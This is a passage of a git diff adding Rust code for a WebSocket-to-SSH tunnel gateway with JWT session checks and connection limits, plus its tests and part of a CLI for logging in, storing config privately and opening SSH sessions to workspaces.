failure. + +use axum::http::StatusCode; +use k8s_openapi::api::core::v1::Pod; +use kube::Api; +use rustic_git_workspaces::crd::{Phase, Workspace}; +use std::net::SocketAddr; + +/// The pod's sshd address, and the owner the tunnel is charged to. +pub struct Target { + pub addr: SocketAddr, + pub owner: String, +} + +/// The status a refusal becomes, with the reason for the log. 404 is "no such workspace", 409 is +/// "not right now" (starting, stopped, pod gone) — a caller retries the second and not the first. +pub type Refusal = (StatusCode, &'static str); + +pub async fn resolve(client: &kube::Client, ws_id: &str, ssh_port: u16) -> Result { + let ws = Api::::all(client.clone()).get(ws_id).await.map_err(api_err)?; + let status = ws.status.ok_or((StatusCode::CONFLICT, "no status yet"))?; + if status.phase != Phase::Ready { + return Err((StatusCode::CONFLICT, "workspace not ready")); + } + let pod_ref = status.pod_ref.ok_or((StatusCode::CONFLICT, "no podRef"))?; + let (ns, name) = pod_ref.split_once('/').ok_or((StatusCode::CONFLICT, "malformed podRef"))?; + // A MISSING pod is 409, not 404: the workspace exists, it is simply between pods. Only the + // workspace itself being absent is a 404, and that was already decided above. + let pod = Api::::namespaced(client.clone(), ns) + .get(name) + .await + .map_err(|e| match api_err(e) { + (StatusCode::NOT_FOUND, _) => (StatusCode::CONFLICT, "pod gone"), + other => other, + })?; + let ip = pod + .status + .and_then(|s| s.pod_ip) + .ok_or((StatusCode::CONFLICT, "pod has no IP"))?; + let ip = ip.parse().map_err(|_| (StatusCode::CONFLICT, "pod IP is not an address"))?; + Ok(Target { addr: SocketAddr::new(ip, ssh_port), owner: ws.spec.owner }) +} + +/// A 404 from the API server is the only one that means "there is no such thing"; every other +/// failure is the API server's, not the caller's, and must not read as "your workspace is gone". +fn api_err(e: kube::Error) -> Refusal { + match e { + kube::Error::Api(ae) if ae.code == 404 => (StatusCode::NOT_FOUND, "no such object"), + _ => (StatusCode::BAD_GATEWAY, "kube api error"), + } +} diff --git a/bins/gateway/src/tunnel.rs b/bins/gateway/src/tunnel.rs new file mode 100644 index 00000000..22b844c9 --- /dev/null +++ b/bins/gateway/src/tunnel.rs @@ -0,0 +1,326 @@ +//! The tunnel: authorize, resolve, dial, pump. +//! +//! Everything the gateway decides happens BEFORE the upgrade, so a refusal is a plain HTTP status +//! the CLI can print. After `101` the gateway is a pipe: it holds no credential, reads no ssh +//! frame, and cannot open a session of its own — sshd still wants the user's key. + +use crate::resolve::resolve; +use axum::extract::ws::{Message, WebSocket, WebSocketUpgrade}; +use axum::extract::{Path, State}; +use axum::http::{HeaderMap, StatusCode}; +use axum::response::{IntoResponse, Response}; +use axum::routing::get; +use axum::Router; +use rustic_git_core::jwt::Jwt; +use std::collections::HashMap; +use std::sync::{Arc, Mutex}; +use std::time::{Duration, Instant, SystemTime, UNIX_EPOCH}; +use tokio::io::{AsyncReadExt, AsyncWriteExt}; +use tokio::sync::{OwnedSemaphorePermit, Semaphore}; + +/// The edge idles a WebSocket after 100s without traffic and sshd's `ClientAliveInterval 30` keeps +/// it under that, so half an hour of silence means the client is gone, not quiet. +const IDLE: Duration = Duration::from_secs(30 * 60); +/// 64 KiB: an ssh packet is at most 32 KiB, so a frame never has to be split for size. +const MAX_FRAME: usize = 64 * 1024; +const MAX_PER_WS: usize = 10; +const MAX_PER_OWNER: usize = 100; +/// The per-owner limit times the number of owners is unbounded, and a tunnel is ~100 KiB of +/// buffers; this is what keeps the pod inside its memory limit when everyone reconnects at once. +const MAX_TUNNELS: usize = 1000; + +pub struct Gateway { + pub jwt: Jwt, + pub region: String, + pub kube: kube::Client, + /// 22 everywhere real; a test points it at a local echo listener. + pub ssh_port: u16, + /// Spent session ids → their expiry. A token is a CONNECT token: replaying one is either a + /// bug or an attack, and both are refused the same way. + // ponytail: per-replica, so a replayed token could still connect to a different replica within + // its 60s life. Global single-use needs Redis; the TTL is the real mitigation. + used: Mutex>, + // ponytail: per-replica counters, not global — with one replica per node and a per-IP rate + // limit at the edge in front, the ceiling is "N nodes × the limit". Redis if that matters. + per_ws: Mutex>, + per_owner: Mutex>, + tunnels: Arc, +} + +impl Gateway { + pub fn new(jwt: Jwt, region: String, kube: kube::Client, ssh_port: u16) -> Gateway { + Gateway { + jwt, + region, + kube, + ssh_port, + used: Mutex::new(HashMap::new()), + per_ws: Mutex::new(HashMap::new()), + per_owner: Mutex::new(HashMap::new()), + tunnels: Arc::new(Semaphore::new(MAX_TUNNELS)), + } + } + + /// Reserve a place for a tunnel to `ws`: the global cap and the per-workspace count. The + /// owner is not known until the workspace is resolved, so that count is charged afterwards + /// by `Slot::charge`. Reserving BEFORE resolving is what keeps a reconnect storm against one + /// workspace from becoming a storm against the API server. + fn reserve(self: &Arc, ws: &str) -> Option { + let permit = self.tunnels.clone().try_acquire_owned().ok()?; + if !take(&self.per_ws, ws, MAX_PER_WS) { + return None; + } + metrics::gauge!("gateway_open_tunnels").increment(1.0); + Some(Slot { gw: self.clone(), ws: ws.into(), owner: None, _permit: permit }) + } + + /// `true` the first time a session id is seen, `false` ever after. Expired entries are swept + /// on the way in — the map is bounded by the connect rate over one token TTL, not by uptime. + fn spend(&self, jti: &str, exp: u64) -> bool { + let now = SystemTime::now().duration_since(UNIX_EPOCH).map(|d| d.as_secs()).unwrap_or(0); + let mut used = self.used.lock().unwrap_or_else(|p| p.into_inner()); + used.retain(|_, e| *e > now); + used.insert(jti.to_string(), exp).is_none() + } +} + +/// A live tunnel's place in every counter, released by dropping it — including on every early +/// return between the reservation and the pump, which is where a leaked count would come from. +/// Each count is released exactly when it was taken: `owner` is `Some` only once the per-owner +/// `take` succeeded, so a refused connect can never decrement a count it never held. +struct Slot { + gw: Arc, + ws: String, + owner: Option, + _permit: OwnedSemaphorePermit, +} + +impl Slot { + fn charge(&mut self, owner: &str) -> bool { + let ok = take(&self.gw.per_owner, owner, MAX_PER_OWNER); + if ok { + self.owner = Some(owner.into()); + } + ok + } +} + +impl Drop for Slot { + fn drop(&mut self) { + metrics::gauge!("gateway_open_tunnels").decrement(1.0); + release(&self.gw.per_ws, &self.ws); + if let Some(owner) = &self.owner { + release(&self.gw.per_owner, owner); + } + } +} + +fn release(map: &Mutex>, key: &str) { + let mut m = map.lock().unwrap_or_else(|p| p.into_inner()); + match m.get_mut(key) { + Some(n) if *n > 1 => *n -= 1, + // Drop the entry at zero rather than leaving it: the map would otherwise grow one entry + // per workspace ever connected to and never shrink. + _ => { + m.remove(key); + } + } +} + +fn take(map: &Mutex>, key: &str, limit: usize) -> bool { + let mut m = map.lock().unwrap_or_else(|p| p.into_inner()); + let n = m.entry(key.to_string()).or_insert(0); + if *n >= limit { + return false; + } + *n += 1; + true +} + +pub fn app(gw: Arc) -> Router { + Router::new() + .route("/healthz", get(|| async { "ok" })) + .route("/tunnel/{ws}", get(tunnel)) + .layer(axum::middleware::from_fn_with_state("gateway", rustic_git_core::metrics::http_metrics)) + .with_state(gw) +} + +async fn tunnel( + State(gw): State>, + Path(ws): Path, + headers: HeaderMap, + upgrade: WebSocketUpgrade, +) -> Response { + // Every refusal below is the same 401 on purpose: which of the checks failed is the caller's + // business only insofar as "get a new token", and saying more distinguishes a real workspace + // from an invented one for someone holding a token for neither. + let token = headers + .get("authorization") + .and_then(|v| v.to_str().ok()) + .and_then(|v| v.strip_prefix("Bearer ")) + .unwrap_or_default(); + let claims = match gw.jwt.verify_ssh_session(token) { + Ok(c) => c, + Err(_) => return StatusCode::UNAUTHORIZED.into_response(), + }; + // A token names ONE workspace in ONE region. The region check is what stops a token minted + // for another region's gateway being replayed here against a workspace that shares an id. + if claims.ws != ws || claims.region != gw.region { + return StatusCode::UNAUTHORIZED.into_response(); + } + let Some(mut slot) = gw.reserve(&ws) else { + return StatusCode::SERVICE_UNAVAILABLE.into_response(); + }; + let target = match resolve(&gw.kube, &ws, gw.ssh_port).await { + Ok(t) => t, + Err((status, why)) => { + tracing::info!(ws = %ws, why, "refused"); + return status.into_response(); + } + }; + // Counted against the workspace's OWNER, not the token's subject: on a team workspace those + // differ, and the limit is about one tenant's fan-out, not one person's. Authorization is not + // re-derived from either — the api checked `may_act_on` at mint, and this token names exactly + // one workspace, so a token that reaches here can reach nothing else. + if !slot.charge(&target.owner) { + return StatusCode::SERVICE_UNAVAILABLE.into_response(); + } + // Dial BEFORE the upgrade, so a pod that is not listening is a 502 the CLI can print rather + // than a WebSocket that opens and immediately closes for no stated reason. + let tcp = match tokio::net::TcpStream::connect(target.addr).await { + Ok(s) => s, + Err(e) => { + tracing::warn!(ws = %ws, error = %e, "dial failed"); + return StatusCode::BAD_GATEWAY.into_response(); + } + }; + // ssh is interactive: a keystroke must not wait for Nagle to batch it with the next one. + let _ = tcp.set_nodelay(true); + // Spent only now that the connect can actually proceed: a 409 (still starting), a 503 (at a + // connection limit) and a 502 (pod not listening yet) are the refusals worth retrying, and + // burning the token on any of them would turn a retryable refusal into "log in again". + // Everything after this point either upgrades or fails for a reason a new token cannot fix. + if !gw.spend(&claims.jti, claims.exp) { + return StatusCode::UNAUTHORIZED.into_response(); + } + upgrade + .max_frame_size(MAX_FRAME) + // Both, not just the frame: a peer may FRAGMENT one message across many frames, and axum + // buffers the whole thing before yielding it — 1024 conforming 64 KiB frames would + // assemble 64 MiB against a 128Mi pod. + .max_message_size(MAX_FRAME) + .on_upgrade(move |sock| pump(sock, tcp, slot)) + .into_response() +} + +async fn pump(sock: WebSocket, mut tcp: tokio::net::TcpStream, slot: Slot) { + use futures::{SinkExt, StreamExt}; + // Split so the two directions borrow different halves: `select!` holds both futures alive + // while a branch body runs, and sending from the TCP branch would otherwise alias the socket. + let (mut tx, mut rx) = sock.split(); + let start = Instant::now(); + let (mut r#in, mut out) = (0u64, 0u64); + let mut buf = vec![0u8; MAX_FRAME]; + loop { + // One timeout around the whole select, restarted each iteration: any frame in either + // direction is what resets the idle clock, which is the definition we want. + let step = tokio::time::timeout(IDLE, async { + tokio::select! { + msg = rx.next() => match msg { + Some(Ok(Message::Binary(b))) => { + r#in += b.len() as u64; + tcp.write_all(&b).await.is_ok() + } + Some(Ok(Message::Close(_))) => false, + // Ping/Pong are answered by axum; a text frame is not something an ssh client + // sends, so it is ignored rather than treated as an error. + Some(Ok(_)) => true, + _ => false, + }, + n = tcp.read(&mut buf) => match n { + // sshd hung up. Say so rather than dropping the socket: a bare TCP close + // reaches the CLI as a protocol error, a Close frame as a finished session. + Ok(0) | Err(_) => { + let _ = tx.send(Message::Close(None)).await; + false + } + Ok(n) => { + out += n as u64; + tx.send(Message::Binary(buf[..n].to_vec().into())).await.is_ok() + } + }, + } + }) + .await; + if !matches!(step, Ok(true)) { + break; + } + } + // Never the token, and never a byte of the stream: this line is the whole record of a session. + tracing::info!( + owner = slot.owner.as_deref().unwrap_or_default(), + ws = %slot.ws, + bytes_in = r#in, + bytes_out = out, + secs = start.elapsed().as_secs(), + "tunnel closed" + ); +} + +#[cfg(test)] +mod tests { + use super::*; + + fn gw() -> Arc { + let (client, _) = rustic_git_workspaces::kube_test::mock_client(vec![]); + Arc::new(Gateway::new(Jwt::new("0123456789abcdef0123456789abcdef").unwrap(), "r".into(), client, 22)) + } + + fn count(map: &Mutex>, key: &str) -> usize { + map.lock().unwrap().get(key).copied().unwrap_or(0) + } + + #[tokio::test] + async fn a_slot_dropped_on_any_exit_path_leaves_every_count_at_zero() { + let gw = gw(); + // Dropped before the owner was charged (resolve failed) and after (dial failed). + drop(gw.reserve("ws-1").unwrap()); + let mut s = gw.reserve("ws-1").unwrap(); + assert!(s.charge("alice")); + drop(s); + assert_eq!(count(&gw.per_ws, "ws-1"), 0); + assert_eq!(count(&gw.per_owner, "alice"), 0); + assert_eq!(gw.tunnels.available_permits(), MAX_TUNNELS); + } + + #[tokio::test] + async fn a_refused_owner_charge_does_not_release_a_live_tunnels_count() { + let gw = gw(); + let live: Vec = (0..MAX_PER_OWNER) + .map(|i| { + let mut s = gw.reserve(&format!("ws-{i}")).unwrap(); + assert!(s.charge("alice")); + s + }) + .collect(); + // Many refusals: each must leave the owner exactly as full as it was. + for _ in 0..3 * MAX_PER_OWNER { + let mut s = gw.reserve("ws-x").unwrap(); + assert!(!s.charge("alice")); + } + assert_eq!(count(&gw.per_owner, "alice"), MAX_PER_OWNER); + drop(live); + assert_eq!(count(&gw.per_owner, "alice"), 0); + } + + #[tokio::test] + async fn spent_session_ids_are_swept_once_expired() { + let gw = gw(); + for i in 0..10_000 { + assert!(gw.spend(&format!("old-{i}"), 1)); + } + assert!(gw.spend("live", u64::MAX)); + assert!(!gw.spend("live", u64::MAX)); + assert_eq!(gw.used.lock().unwrap().len(), 1); + } +} diff --git a/bins/gateway/tests/tunnel.rs b/bins/gateway/tests/tunnel.rs new file mode 100644 index 00000000..8afeefd2 --- /dev/null +++ b/bins/gateway/tests/tunnel.rs @@ -0,0 +1,206 @@ +//! The gateway's authorization path and its pump, against a mocked API server +//! (`rustic_git_workspaces::kube_test`) and a local TCP echo standing in for the pod's sshd. +//! +//! Everything the gateway decides happens BEFORE the upgrade, so these tests are mostly about +//! which HTTP status a bad connect gets — the one test that upgrades proves the bytes actually +//! cross, which is the only thing the pump can get wrong that a type does not catch. + +use rustic_git_core::jwt::{Jwt, SshSessionClaims}; +use rustic_git_gateway::Gateway; +use rustic_git_workspaces::kube_test::{get, mock_client, Route}; +use std::sync::Arc; +use tokio_tungstenite::tungstenite; + +const SECRET: &str = "0123456789abcdef0123456789abcdef"; +const REGION: &str = "centralindia-k3s"; +const WS: &str = "/apis/rustic-git.io/v1alpha1/workspaces/ws-1"; +const POD: &str = "/api/v1/namespaces/ws-alice/pods/ws-1-abc"; + +fn workspace(phase: &str, pod_ref: Option<&str>) -> serde_json::Value { + let mut status = serde_json::json!({ "phase": phase, "nodeName": "node-1" }); + if let Some(r) = pod_ref { + status["podRef"] = serde_json::json!(r); + } + serde_json::json!({ + "apiVersion": "rustic-git.io/v1alpha1", + "kind": "Workspace", + "metadata": { "name": "ws-1" }, + "spec": { + "owner": "alice", "name": "gh", "region": REGION, "image": "img", + "desiredState": "running" + }, + "status": status, + }) +} + +fn pod(ip: Option<&str>) -> serde_json::Value { + let mut status = serde_json::json!({ "phase": "Running" }); + if let Some(ip) = ip { + status["podIP"] = serde_json::json!(ip); + } + serde_json::json!({ + "apiVersion": "v1", "kind": "Pod", + "metadata": { "name": "ws-1-abc", "namespace": "ws-alice" }, + "status": status, + }) +} + +/// A TCP echo on a free port, standing in for sshd. Returns the port the gateway must dial. +async fn echo() -> u16 { + echo_on(0).await +} + +async fn echo_on(port: u16) -> u16 { + let l = tokio::net::TcpListener::bind(("127.0.0.1", port)).await.unwrap(); + let port = l.local_addr().unwrap().port(); + tokio::spawn(async move { + while let Ok((mut s, _)) = l.accept().await { + tokio::spawn(async move { + let (mut r, mut w) = s.split(); + let _ = tokio::io::copy(&mut r, &mut w).await; + }); + } + }); + port +} + +/// The gateway serving on a free port; returns its base ws:// URL. +async fn serve(routes: Vec, ssh_port: u16) -> String { + let (client, _) = mock_client(routes); + let gw = Arc::new(Gateway::new(Jwt::new(SECRET).unwrap(), REGION.into(), client, ssh_port)); + let l = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); + let addr = l.local_addr().unwrap(); + tokio::spawn(async move { axum::serve(l, rustic_git_gateway::app(gw)).await.unwrap() }); + format!("ws://{addr}") +} + +fn token(ws: &str, region: &str) -> String { + Jwt::new(SECRET).unwrap().mint_ssh_session("alice", ws, region).unwrap().0 +} + +/// Connect to `/tunnel/{ws}`; `Ok` is the upgraded socket, `Err` the pre-upgrade status. +async fn connect( + base: &str, + ws: &str, + token: &str, +) -> Result>, u16> { + use tungstenite::client::IntoClientRequest; + let mut req = format!("{base}/tunnel/{ws}").into_client_request().unwrap(); + req.headers_mut().insert("authorization", format!("Bearer {token}").parse().unwrap()); + match tokio_tungstenite::connect_async(req).await { + Ok((s, _)) => Ok(s), + Err(tungstenite::Error::Http(r)) => Err(r.status().as_u16()), + Err(e) => panic!("unexpected connect error: {e}"), + } +} + +#[tokio::test] +async fn a_valid_session_is_pumped_to_the_pod_and_spent() { + use futures::{SinkExt, StreamExt}; + let port = echo().await; + let base = serve( + vec![get(WS, workspace("ready", Some("ws-alice/ws-1-abc"))), get(POD, pod(Some("127.0.0.1")))], + port, + ) + .await; + + let tok = token("ws-1", REGION); + let mut sock = connect(&base, "ws-1", &tok).await.expect("upgrade"); + sock.send(tungstenite::Message::binary(b"SSH-2.0-hello".to_vec())).await.unwrap(); + let back = sock.next().await.unwrap().unwrap(); + assert_eq!(back.into_data(), b"SSH-2.0-hello".as_slice()); + + // Single use: the same jti a second time is not a second tunnel, even while the first is open. + assert_eq!(connect(&base, "ws-1", &tok).await.err(), Some(401)); +} + +#[tokio::test] +async fn a_token_for_another_workspace_is_refused() { + let base = serve( + vec![get(WS, workspace("ready", Some("ws-alice/ws-1-abc"))), get(POD, pod(Some("127.0.0.1")))], + 22, + ) + .await; + assert_eq!(connect(&base, "ws-1", &token("ws-2", REGION)).await.err(), Some(401)); + // ...and a token minted for a different region's gateway is no better. + assert_eq!(connect(&base, "ws-1", &token("ws-1", "westeurope-k3s")).await.err(), Some(401)); +} + +#[tokio::test] +async fn an_unready_workspace_is_409() { + let base = serve(vec![get(WS, workspace("creating", None))], 22).await; + assert_eq!(connect(&base, "ws-1", &token("ws-1", REGION)).await.err(), Some(409)); + + // No such workspace at all is a 404, not a 409: the caller can tell "gone" from "wait". + let gone = serve(vec![rustic_git_workspaces::kube_test::not_found(WS)], 22).await; + assert_eq!(connect(&gone, "ws-1", &token("ws-1", REGION)).await.err(), Some(404)); +} + +#[tokio::test] +async fn an_expired_token_is_401() { + let claims = SshSessionClaims { + sub: "alice".into(), + ws: "ws-1".into(), + region: REGION.into(), + jti: "deadbeef".into(), + iat: 0, + exp: 1, + typ: "ssh-session".into(), + }; + let raw = jsonwebtoken::encode( + &jsonwebtoken::Header::new(jsonwebtoken::Algorithm::HS256), + &claims, + &jsonwebtoken::EncodingKey::from_secret(SECRET.as_bytes()), + ) + .unwrap(); + let base = serve(vec![get(WS, workspace("ready", Some("ws-alice/ws-1-abc")))], 22).await; + assert_eq!(connect(&base, "ws-1", &raw).await.err(), Some(401)); + // A token signed by anything else, and no token at all, land in the same place. + assert_eq!(connect(&base, "ws-1", "not-a-token").await.err(), Some(401)); +} + +/// A refusal the caller can retry must not consume the token, or "too many connections right +/// now" turns into "log in again". The 409 above is one such refusal; the connection limit is +/// the other, and it is the one that used to burn the token. +#[tokio::test] +async fn hitting_the_connection_limit_does_not_spend_the_token() { + let port = echo().await; + let base = serve( + vec![get(WS, workspace("ready", Some("ws-alice/ws-1-abc"))), get(POD, pod(Some("127.0.0.1")))], + port, + ) + .await; + + // Held open: each is one slot against the per-workspace limit. + let mut open = Vec::new(); + for _ in 0..10 { + open.push(connect(&base, "ws-1", &token("ws-1", REGION)).await.expect("under the limit")); + } + + let tok = token("ws-1", REGION); + assert_eq!(connect(&base, "ws-1", &tok).await.err(), Some(503), "the 11th is refused"); + // The same token again: still 503, NOT 401 — proof it was never spent. + assert_eq!(connect(&base, "ws-1", &tok).await.err(), Some(503), "the token survived the 503"); + drop(open); +} + +/// A connect that fails AFTER the slot is taken — here the pod is not listening yet — must give +/// the slot back, or a workspace whose pod is still booting locks itself out after ten attempts. +#[tokio::test] +async fn failed_dials_do_not_use_up_the_limit() { + // A port nothing listens on yet: bound, read, released — and the echo takes it over below. + let port = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap().local_addr().unwrap().port(); + let base = serve( + vec![get(WS, workspace("ready", Some("ws-alice/ws-1-abc"))), get(POD, pod(Some("127.0.0.1")))], + port, + ) + .await; + for _ in 0..15 { + let tok = token("ws-1", REGION); + assert_eq!(connect(&base, "ws-1", &tok).await.err(), Some(502)); + // A 502 is retryable, so it must not have spent the token. + assert_eq!(connect(&base, "ws-1", &tok).await.err(), Some(502)); + } + echo_on(port).await; + let _live = connect(&base, "ws-1", &token("ws-1", REGION)).await.expect("nothing leaked"); +} diff --git a/bins/kl/Cargo.toml b/bins/kl/Cargo.toml new file mode 100644 index 00000000..7b3aa288 --- /dev/null +++ b/bins/kl/Cargo.toml @@ -0,0 +1,30 @@ +[package] +name = "kl" +version = "0.1.0" +edition = "2021" +license = "SSPL-1.0" +description = "kloudlite CLI: log in, list workspaces, ssh into one" +repository = "https://github.com/kloudlite/rustic-git" + +[[bin]] +name = "kl" +path = "src/main.rs" + +[dependencies] +clap = { workspace = true } +tokio = { workspace = true } +reqwest = { workspace = true } +serde = { workspace = true } +serde_json = { workspace = true } +base64 = { workspace = true } +# Both TLS clients in this binary must agree on one provider, and with `ring` and `aws-lc-rs` +# both reachable rustls 0.23 refuses to choose — main() installs ring explicitly. +rustls = { workspace = true } +tokio-tungstenite = { workspace = true, features = ["rustls-tls-webpki-roots"] } +futures = { workspace = true } +dirs = "6" +open = "5" + +[dev-dependencies] +axum = { workspace = true, features = ["ws"] } +tempfile = { workspace = true } diff --git a/bins/kl/src/api.rs b/bins/kl/src/api.rs new file mode 100644 index 00000000..2d0e02d7 --- /dev/null +++ b/bins/kl/src/api.rs @@ -0,0 +1,80 @@ +//! The thin api client. Errors are strings because every one of them is printed and exited on. + +#[derive(serde::Deserialize)] +pub struct Workspace { + pub id: String, + pub name: String, + pub state: String, + #[serde(default)] + pub packages: Vec, +} + +#[derive(serde::Deserialize)] +pub struct Session { + pub token: String, + pub gateway: String, + pub host_key: String, +} + +/// One client for the process: it pools connections, and the timeouts stop `kl` hanging forever +/// behind a black-holed network — every call it makes is a small JSON request. +pub fn client() -> &'static reqwest::Client { + static C: std::sync::OnceLock = std::sync::OnceLock::new(); + C.get_or_init(|| { + reqwest::Client::builder() + .connect_timeout(std::time::Duration::from_secs(5)) + .timeout(std::time::Duration::from_secs(15)) + .build() + .expect("building an http client") + }) +} + +/// 401 is the one status callers branch on (an expired cli token), so it is its own variant. +pub enum Error { + Unauthorized, + Other(String), +} + +impl std::fmt::Display for Error { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Error::Unauthorized => write!(f, "your login has expired — run `kl login`"), + Error::Other(m) => write!(f, "{m}"), + } + } +} + +async fn json(r: reqwest::Response) -> Result { + let status = r.status(); + if status == reqwest::StatusCode::UNAUTHORIZED { + return Err(Error::Unauthorized); + } + let body = r.text().await.map_err(|e| Error::Other(e.to_string()))?; + if !status.is_success() { + // The api's error bodies are `{"error": "…"}`; anything else is shown as it came. + let msg = serde_json::from_str::(&body) + .ok() + .and_then(|v| v.get("error").and_then(|e| e.as_str()).map(str::to_string)) + .unwrap_or_else(|| body.trim().to_string()); + return Err(Error::Other(format!("{}: {msg}", status.as_u16()))); + } + serde_json::from_str(&body).map_err(|e| Error::Other(e.to_string())) +} + +pub async fn list(cfg: &crate::config::Config, team: Option<&str>) -> Result, Error> { + let mut req = client().get(format!("{}/v1/workspaces", cfg.api)).bearer_auth(&cfg.token); + if let Some(t) = team { + req = req.query(&[("team", t)]); + } + json(req.send().await.map_err(|e| Error::Other(e.to_string()))?).await +} + +pub async fn ssh_session(cfg: &crate::config::Config, id: &str) -> Result { + let r = client() + .post(format!("{}/v1/workspaces/{id}/ssh-session", cfg.api)) + .bearer_auth(&cfg.token) + .send() + .await + .map_err(|e| Error::Other(e.to_string()))?; + json(r).await +} diff --git a/bins/kl/src/config.rs b/bins/kl/src/config.rs new file mode 100644 index 00000000..3824fb85 --- /dev/null +++ b/bins/kl/src/config.rs @@ -0,0 +1,145 @@ +use std::path::PathBuf; + +pub const DEFAULT_API: &str = "https://dev.kloudlite.io"; + +#[derive(serde::Serialize, serde::Deserialize)] +pub struct Config { + pub api: String, + pub token: String, + pub expires_at: String, + pub username: String, +} + +/// `KL_CONFIG_DIR` exists so the tests (and anyone juggling two logins) can point the whole CLI at +/// a scratch directory; everything the CLI stores lives under it. +/// +/// `~/.config/kl` on EVERY OS, not `dirs::config_dir()` — on macOS that is +/// `~/Library/Application Support/kl`, while the web's copy-paste ssh block and the docs both say +/// `~/.config/kl/known_hosts`. One of the two had to be wrong on a Mac, and a path a person can +/// type is worth more here than the platform convention. +pub fn dir() -> PathBuf { + if let Ok(d) = std::env::var("KL_CONFIG_DIR") { + return d.into(); + } + if let Some(x) = std::env::var_os("XDG_CONFIG_HOME").filter(|x| !x.is_empty()) { + return PathBuf::from(x).join("kl"); + } + dirs::home_dir().unwrap_or_else(|| PathBuf::from(".")).join(".config").join("kl") +} + +pub fn path() -> PathBuf { + dir().join("config.json") +} + +pub fn known_hosts() -> PathBuf { + dir().join("known_hosts") +} + +pub fn load() -> Result { + let p = path(); + let s = std::fs::read_to_string(&p).map_err(|_| "not logged in — run `kl login`".to_string())?; + serde_json::from_str(&s).map_err(|e| format!("{}: {e}", p.display())) +} + +pub fn save(c: &Config) -> Result<(), String> { + make_dir(&dir())?; + let p = path(); + let body = serde_json::to_string_pretty(c).unwrap(); + // The file holds a 30-day bearer token. The mode goes on at CREATE time — chmod after the + // write leaves a window where the token sits there at whatever the umask allowed — and + // `set_permissions` still runs because create() does not re-apply the mode to a file that + // already exists. + #[cfg(unix)] + { + use std::io::Write; + use std::os::unix::fs::{OpenOptionsExt, PermissionsExt}; + let mut f = std::fs::OpenOptions::new() + .write(true) + .create(true) + .truncate(true) + .mode(0o600) + .open(&p) + .map_err(|e| e.to_string())?; + std::fs::set_permissions(&p, std::fs::Permissions::from_mode(0o600)) + .map_err(|e| e.to_string())?; + f.write_all(body.as_bytes()).map_err(|e| e.to_string())?; + } + #[cfg(not(unix))] + std::fs::write(&p, body).map_err(|e| e.to_string())?; + Ok(()) +} + +/// The config directory holds the token file and known_hosts: nobody else on the machine needs to +/// list it, so it is created 0700 rather than at the umask's discretion. +fn make_dir(d: &std::path::Path) -> Result<(), String> { + let mut b = std::fs::DirBuilder::new(); + b.recursive(true); + #[cfg(unix)] + { + use std::os::unix::fs::DirBuilderExt; + b.mode(0o700); + } + b.create(d).map_err(|e| e.to_string()) +} + +/// Pins ` ` in the CLI's own known_hosts, replacing any previous line for that id. +/// The platform tells us the key, so ssh must never be left to ask. +pub fn pin_host_key(id: &str, host_key: &str) -> Result<(), String> { + let p = known_hosts(); + make_dir(&dir())?; + let old = std::fs::read_to_string(&p).unwrap_or_default(); + let mut out: String = old + .lines() + .filter(|l| !l.split_whitespace().next().is_some_and(|h| h == id)) + .map(|l| format!("{l}\n")) + .collect(); + out.push_str(&format!("{id} {host_key}\n")); + std::fs::write(&p, out).map_err(|e| e.to_string()) +} + +#[cfg(test)] +mod tests { + /// The token file must never exist, even briefly, at anything but 0600 — and the directory + /// that lists it at 0700. + #[test] + #[cfg(unix)] + fn config_is_written_private() { + use std::os::unix::fs::PermissionsExt; + the_config_dir_is_dot_config_kl_everywhere(); + let d = tempfile::tempdir().unwrap(); + let dir = d.path().join("kl"); + std::env::set_var("KL_CONFIG_DIR", &dir); + let cfg = super::Config { + api: "https://x".into(), + token: "t".into(), + expires_at: "2030".into(), + username: "k".into(), + }; + super::save(&cfg).unwrap(); + // A pre-existing world-readable file is the case `create().mode()` alone does not fix, + // and the reason `set_permissions` is still there. + std::fs::set_permissions(super::path(), std::fs::Permissions::from_mode(0o644)).unwrap(); + super::save(&cfg).unwrap(); + + let mode = |p: std::path::PathBuf| std::fs::metadata(p).unwrap().permissions().mode() & 0o777; + assert_eq!(mode(super::path()), 0o600); + assert_eq!(mode(dir), 0o700); + } + + /// The web's copy-paste block hard-codes `~/.config/kl/known_hosts`, so the CLI has to agree + /// on every platform — including the Mac, where `dirs::config_dir()` does not. + /// + /// Called from `config_is_written_private` rather than run as its own `#[test]`: both touch + /// process-wide env and cargo runs tests in parallel threads, so as two tests they race over + /// `KL_CONFIG_DIR`. + #[cfg(unix)] + fn the_config_dir_is_dot_config_kl_everywhere() { + std::env::remove_var("KL_CONFIG_DIR"); + std::env::set_var("XDG_CONFIG_HOME", "/xdg"); + assert_eq!(super::dir(), std::path::Path::new("/xdg/kl")); + + std::env::remove_var("XDG_CONFIG_HOME"); + std::env::set_var("HOME", "/home/k"); + assert_eq!(super::dir(), std::path::Path::new("/home/k/.config/kl")); + } +} diff --git a/bins/kl/src/login.rs b/bins/kl/src/login.rs new file mode 100644 index 00000000..eabdffb9 --- /dev/null +++ b/bins/kl/src/login.rs @@ -0,0 +1,130 @@ +//! The device-code login. Nothing the CLI holds before approval is a credential, so the code can +//! be printed, read aloud, and pasted into whatever browser the person is already signed in to. + +use crate::config::{self, Config}; + +#[derive(serde::Deserialize)] +struct DeviceCode { + code: String, + poll: String, +} + +#[derive(serde::Deserialize)] +#[serde(rename_all = "camelCase")] +struct CliToken { + token: String, + expires_at: String, +} + +pub async fn login(api: String) -> Result<(), String> { + let api = api.trim_end_matches('/').to_string(); + let device = hostname(); + let c = crate::api::client(); + let dc: DeviceCode = c + .post(format!("{api}/v1/cli/code")) + .json(&serde_json::json!({ "device": device })) + .send() + .await + .and_then(|r| r.error_for_status()) + .map_err(|e| format!("asking {api} for a login code: {e}"))? + .json() + .await + .map_err(|e| e.to_string())?; + + let url = format!("{api}/cli/authorize?code={}", dc.code); + println!("Confirm this code in your browser: {}", dc.code); + println!("{url}"); + // A machine with no browser (a server over ssh) is the normal case, not an error — the URL is + // printed above either way. + let _ = open::that_detached(&url); + + let deadline = std::time::Instant::now() + std::time::Duration::from_secs(600); + // Complained about once, not on every retry: an api hiccup that clears itself should not + // scroll the approval URL off the screen. + let mut complained = false; + loop { + if std::time::Instant::now() > deadline { + return Err("timed out waiting for approval".into()); + } + let r = match c.get(format!("{api}/v1/cli/token")).query(&[("poll", &dc.poll)]).send().await + { + Ok(r) => r, + // A dropped connection mid-login is worth retrying: the code is still valid until the + // api expires it, and that is what the 410 below reports. + Err(e) => { 